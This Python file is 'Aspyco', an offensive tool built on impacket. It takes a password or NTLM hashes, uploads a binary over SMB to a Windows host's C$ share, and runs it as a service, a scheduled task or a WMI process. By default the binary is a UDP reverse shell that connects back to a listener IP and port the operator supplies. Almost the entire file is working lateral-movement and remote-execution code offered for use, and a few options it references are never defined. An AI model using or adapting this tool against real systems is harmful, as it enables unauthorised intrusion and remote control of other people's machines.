Files
2025-05-18 00:02:11 +02:00

282 lines
13 KiB
Python

#!/usr/bin/env python3
#
# Aspyco
#
# V 1.1
#
# Copyright (C) 2022 Les tutos de Processus. All rights reserved.
#
#
# Description:
# This tool permits to upload a local binary through SMB on a remote host.
# Then it remotely connects to svcctl named pipe through DCERPC to create
# and start the binary as a service.
# A silent reverse shell can be deployed in that way.
#
# Author:
# Processus (@ProcessusT)
#
import socket, sys, time
import os
import socket
import argparse
import logging
import traceback
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, scmr, tsch
from impacket.uuid import uuidtup_to_bin
import random
import string
import requests
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
print(" _ __ ___ __ __ __ _ \n / \ / _|| o \\ V / / _| / \ \n| o |\_ \| _/ \ / ( (_ ( o )\n|_n_||__/|_| |_| \__| \_/ \n \nby Proc :)\n\n")
class inject_venom():
def run(self, username, password, domain, lmhash, nthash, target, payload, listener_port, listener_ip, method, preferredDialect):
try:
# generate a random name for our payload
letters = string.ascii_lowercase
randName = ''.join(random.choice(letters) for i in range(8))
randName = randName+".exe"
withoutpayload = False
if payload == '':
if listener_port == '' or listener_ip == '' or listener_ip is None or listener_port is None:
print("Listener ip address and port should be specified if no custom payload is selected !")
sys.exit()
withoutpayload = True
payload = randName
print("Custom payload not detected, trying to download a reverse shell to " + str(listener_ip))
# get csharp UDP reverse shell from official repo
# you can compile it yourself for more security : https://raw.githubusercontent.com/ProcessusT/Aspyco/udp_reverse_shell.cs
os.system("cp ./udp_reverse_shell.exe ./" + randName)
#URL = "https://github.com/ProcessusT/Aspyco/raw/main/udp_reverse_shell.exe"
#response = requests.get(URL)
#open(randName, "wb").write(response.content)
# upload payload on c$ remote share
print("Uploading file with random name \"" + str(randName) + "\" to remote host " + target + "...")
fake_computer_name = ''.join(random.choice(letters) for i in range(8))
smbClient = SMBConnection(target, target, myName=fake_computer_name, preferredDialect=preferredDialect)
smbClient.login(username, password, domain, lmhash, nthash)
if smbClient.connectTree("c$") != 1:
raise
f = open(payload, "rb")
smbClient.putFile("C$", "\\" + randName, f.read)
print('File uploaded.')
# if we take aspyco udp reverse shell we need a config file
if withoutpayload == True:
print("Uploading config file too...")
config_content = str(listener_ip) + "\n" + str(listener_port)
f = open("cfg.ini", "w+")
f.write(config_content)
f.close()
f = open("cfg.ini", "r")
smbClient.putFile("C$", "\\cfg.ini", f.read)
print("Uploaded.")
match method:
case "DCOM":
print("Triggering payload with DCOM method...")
# COM initialization
dcom = DCOMConnection(target, username, password, domain, lmhash, nthash)
# Create the required interface instance
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
# Connect to the management services interface in a particular namespace
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
# Retrieve Processes management
win32Process, _ = iWbemServices.GetObject('Win32_Process')
# Launch our payload
win32Process.Create( 'C:\\' + str(randName) , str('C:\\') , None)
print("Check your listener !")
iWbemLevel1Login.RemRelease()
dcom.disconnect()
sys.exit()
case "DCERPC-SVCCTL":
print("Triggering payload with DCERPC-SVCCTL method...")
# We prepare a DCERPCStringBinding object that permits to define transport type (TCP, HTTP, Named pipe...etc)
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % target)
# We add our creds for the named pipe connection
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
# We instanciate a DCERPCTransport object for transport
# This function returns a DCERPC_v5 object with our custom options
dce = rpctransport.get_dce_rpc()
# We connect to our named pipe
logging.info("Connecting to remote named pipe %s" % r'ncacn_np:%s[\pipe\svcctl]' % target)
dce.connect()
# We connect to the UUID or the RPC named pipe to call its functions
print("connecting through RPC to UUID " + str(scmr.MSRPC_UUID_SCMR))
# Bind to service manager UUID
dce.bind(scmr.MSRPC_UUID_SCMR)
# We open service manager through our connection and retrieve a handle on it
resp = scmr.hROpenSCManagerW(dce)
scHandle = resp['lpScHandle']
# We generate a new random string to create our service
letters = string.ascii_lowercase
lpServiceName = ''.join(random.choice(letters) for i in range(8))
print("Creating new service with random name \"" + lpServiceName + "\" on remote target...")
lpBinaryPathName="C:\\"+randName
# We create a service on remote host to launch our payload
resp = scmr.hRCreateServiceW(dce, scHandle, lpServiceName, lpServiceName, lpBinaryPathName=lpBinaryPathName, dwStartType=scmr.SERVICE_DEMAND_START)
service = resp['lpServiceHandle']
# We start the service
print("Starting service \"" + lpServiceName + "\" on remote host...")
scmr.hRStartServiceW(dce, service)
print("Check your listener !")
dce.disconnect()
case "DCERPC-ATSVC":
print("Triggering payload with DCERPC-ATSVC method...")
# We prepare a DCERPCStringBinding object that permits to define transport type (TCP, HTTP, Named pipe...etc)
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\atsvc]' % target)
# We add our creds for the named pipe connection
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
# We instanciate a DCERPCTransport object for transport
# This function returns a DCERPC_v5 object with our custom options
dce = rpctransport.get_dce_rpc()
# We connect to our named pipe
logging.info("Connecting to remote named pipe %s" % r'ncacn_np:%s[\pipe\atsvc]' % target)
dce.connect()
# Task scheduler need more secure authentication than svcctl
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# We connect to the UUID or the RPC named pipe to call its functions
print("connecting through RPC to UUID " + str(tsch.MSRPC_UUID_TSCHS))
# Bind to service manager UUID
dce.bind(tsch.MSRPC_UUID_TSCHS)
# Creating a new scheduled task in xml format to launch our payload
xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Description>Proc Aspyco</Description>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<StartBoundary>2012-10-09T17:06:42.435+05:30</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>1</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>%s</Command>
<Arguments></Arguments>
</Exec>
</Actions>
</Task>
""" % ("C:\\" + str(randName))
tmpFileName = ''.join(random.choice(letters) for i in range(8))
print("Creating scheduled task with custom name " + str(tmpFileName))
tsch.hSchRpcRegisterTask(dce, '\\' + tmpFileName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
print("Starting task...")
tsch.hSchRpcRun(dce, '\\' + tmpFileName)
print("Check your listener !")
case _:
print("Method not found.")
sys.exit()
except Exception as e:
print ("ERROR :")
print(e)
sys.exit()
def init_logger(args):
logging.getLogger().setLevel(logging.INFO)
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
def main():
parser = argparse.ArgumentParser(add_help=True, description="Upload and start your custom payloads remotely !")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-payload', action='store', help='Your custom binary file')
parser.add_argument('-listener_ip', action='store', help='Listener ip address if no custom payload is specified')
parser.add_argument('-listener_port', action='store', help='Listener port if no custom payload is specified')
parser.add_argument('-smb2', action='store', help='Force SMBv2')
parser.add_argument('-method', action='store', help='{"DCERPC-SVCCTL", "DCERPC-ATSVC", "DCOM"} - Default : DCERPC-SVCCTL')
parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
options = parser.parse_args()
init_logger(options)
domain, username, password, remoteName = parse_target(options.target)
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
if options.payload is None:
payload = ''
listener_ip = options.listener_ip
listener_port = options.listener_port
else:
payload = options.payload
listener_ip = ""
listener_port = ""
if options.method is None:
method="DCERPC-SVCCTL"
else:
method = options.method
if options.smb2 is True:
preferredDialect = SMB2_DIALECT_002
else:
preferredDialect = None
c = inject_venom()
dce = c.run(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, target=remoteName, payload=payload, listener_port=listener_port, listener_ip=listener_ip, method=method, preferredDialect=preferredDialect)
sys.exit()
if __name__ == '__main__':
main()